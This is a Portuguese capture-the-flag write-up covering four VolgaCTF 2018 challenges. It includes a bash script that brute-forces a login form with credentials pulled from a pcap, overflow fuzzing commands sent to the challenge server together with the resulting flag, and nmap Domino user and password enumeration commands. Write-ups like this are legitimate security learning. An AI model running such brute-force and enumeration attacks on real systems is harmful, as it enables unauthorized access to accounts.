Segue duas resoluções de challenges e duas frustrações em challenges que eu dei uma olhada na ultima edição do VolgaCTF;
Forense -> Master
Esse desafio dá um PCAP, analisando o pcap é identificado tráfego MYSQL. Analisando esse tráfego é possível identificar usuários e senhas, então um team-mate deu a ideia de dar um strings no pcap, pegando os usuários e senha. Então comecei a bolar um script pra fazer bruteforce no website.
strings capture.pcap | grep users -A 2 > brute
Tratando o brute com a funcionalidade record do VIM(que eu nunca achei que usaria), alinhei todos os valores da seguinte forma:
user:pass
Com os dados nesse formato, meu script vai ser capaz de utilizar os valores para realizar o bruteforce no site.
Então meu script ficou assim:
#!/bin/bash
FILE=users
A=$(wc -l $FILE)
GO=0
INVALID=0
while read line
do
USER=$(echo $line | cut -d ':' -f1)
PASS=$(echo $line | cut -d ':' -f2)
REPLY=$(curl -X POST -F "uname"="$USER" -F "psw"="$PASS" http://master.quals.2018.volgactf.ru:3333/ 2>/dev/null)
REQUEST="curl -X POST -F "uname"="$USER" -F "psw"="$PASS" http://master.quals.2018.volgactf.ru:3333/ 2>/dev/null"
if [ $(echo $REPLY | grep -iE "(no|invalid)" | wc -l) -eq 0 ]
then
echo "[!] Done"
echo "USER: $USER nPASS:$PASSnFLAG:$REPLY"
exit
elif [ $(echo $REPLY | grep -i invalid | wc -l ) -eq 1 ];then
echo "$USER:$PASS" >> invalidusers
INVALID=$(( $INVALID+1 ))
fi
GO=$(( GO+1 ))
echo "$REPLY $GO/$A -- Invalid: $INVALID"
done < $FILE
A elaboração do script, eu percebi que tinha muitos usuários dando invalid, então peguei cada invalid, analisei e percebi que, as senhas tinham caracteres a mais, então fiz uns testes e vi que algumas credenciais passavam quando se removia o ultimo caracter. Mas antes, identifiquei que tinham vários replicados, então removi todos os replicados usando o sort e uniq e gerei uma nova lista com 499 (não lembro quantos de cabeça) usuários. Então no script eu fui gerando uma nova lista com os invalids, nessa nova lista eu tratei com sed e removi os ultimos caracteres de cada linha:
sed -i s'/.$//' invalidusers
Rodei novamente e ainda tive invalidos, porém bem menos, removi mais um caracter e rodei e ainda assim obtive invalidos.
Então analisei a ultima lista de invalidos, tinha menos de 50 usuários, nas primeiras linhas tinha um usuário chamado “admin”, tentei manualmente e não foi, removi o ultimo caracter e owned.
Pwn -> Ping2
O desafio te informa um servidor e porta, que é aonde está a aplicação para fazer o pwn, e também te fornece o binário para você realizar as analises de reverse e testes. Então peguei esse binário e fiz um fuzzing com python para tentar verificar se tinha bufferoverflow, consegui quebrar a stack, então fui abaixando o tamanho da string, em ‘A’s, até 260, e então se obtem a flag.
[centos@cobaia-one ping2]$ python -c "print 'A'*65" | ./ping2
Enter your password: Wrong password!
[centos@cobaia-one ping2]$ python -c "print 'A'*100" | ./ping2
Enter your password: Wrong password!
[centos@cobaia-one ping2]$ python -c "print 'A'*1500" | ./ping2
Enter your password: *** stack smashing detected ***: ./ping2 terminated
Segmentation fault
[centos@cobaia-one ping2]$ python -c "print 'A'*1300" | ./ping2
Enter your password: *** stack smashing detected ***: ./ping2 terminated
Segmentation fault
[centos@cobaia-one ping2]$ python -c "print 'A'*1200" | ./ping2
Enter your password: *** stack smashing detected ***: ./ping2 terminated
Segmentation fault
[centos@cobaia-one ping2]$ python -c "print 'A'*1100" | ./ping2
Enter your password: *** stack smashing detected ***: ./ping2 terminated
Segmentation fault
[centos@cobaia-one ping2]$ python -c "print 'A'*260" | nc ping2.quals.2018.volgactf.ru 45678
Enter your password: Correct password! Your flag is VolgaCTF{Except1on@l!Wond3rful!Splend1d.Well_d0ne!}
Achei que seria mais complicado, tipo, achei que eu teria que realmente sobrescrever a pilha e pegar a flag porque tipo, se você analisar o binário ele carrega dois arquivos que estão no mesmo diretório que o binário: flag.txt e pass.txt. Ai eu achei que teria que sobreescrever a pilha e injetar um shellcode pra me dar uma conexão e dar um cat no flag.txt ou só dumpar a memoria que tava com o conteudo do arquivo mas nem precisou no fuzzing ele antes de quebrar a stack, ele reconhece 260 ‘A’s como senha.
Web -> Old Goverment Site
Essa de web foi custosa e sem resolução, identifiquei que o server opera com WEBrick/1.3.1 e existem algumas CVE’s para essa versão mas não consegui explorar.
WEBrick/1.3.1 (Ruby/2.3.1/2016-04-26) at localhost:8080
https://securitytracker.com/id?1023429
https://www.cvedetails.com/cve/CVE-2009-4492/
https://securitytracker.com/id?1023429
JOY -> Ping
Essa Joy, que nem sei que merda de categoria seria JOY, ela tinha uma pontuação baixa o que dava a entender que era fácil. O pouco que eu olhei nela eu vi o seguinte. Quando você se conecta na porta 80, o browser fala que a conexão foi terminada. Depois de um tempo eu decidi testar com o netcat e descobri o seguinte:
user@lulzz:/tmp$ nc ping.quals.2018.volgactf.ru 80
HTTP/1.0 200 OK
Server: Apache/IBM_Lotus_Domino_v.6.5.0
--
--
--
--
--
--
--
--
os.execute("echo 'You have been PWNed';whoami; uname -a");
^C
Tentei rodar alguns bag com nmap mas sei lá, é uma vulnerabilidade conhecida etc mas eu não fui capaz de explorar no tempo que eu tava olhando.
user@lulz:/tmp$ nmap --script domino-enum-users -p 1352 ping.quals.2018.volgactf.ru
user@lulz:/tmp$ nmap --script http-domino-enum-passwords -p 80 ping.quals.2018.volgactf.ru --script-args http-domino-enum-passwords.username='HTTPPassword',http-domino-enum-passwords.password=PPASSS
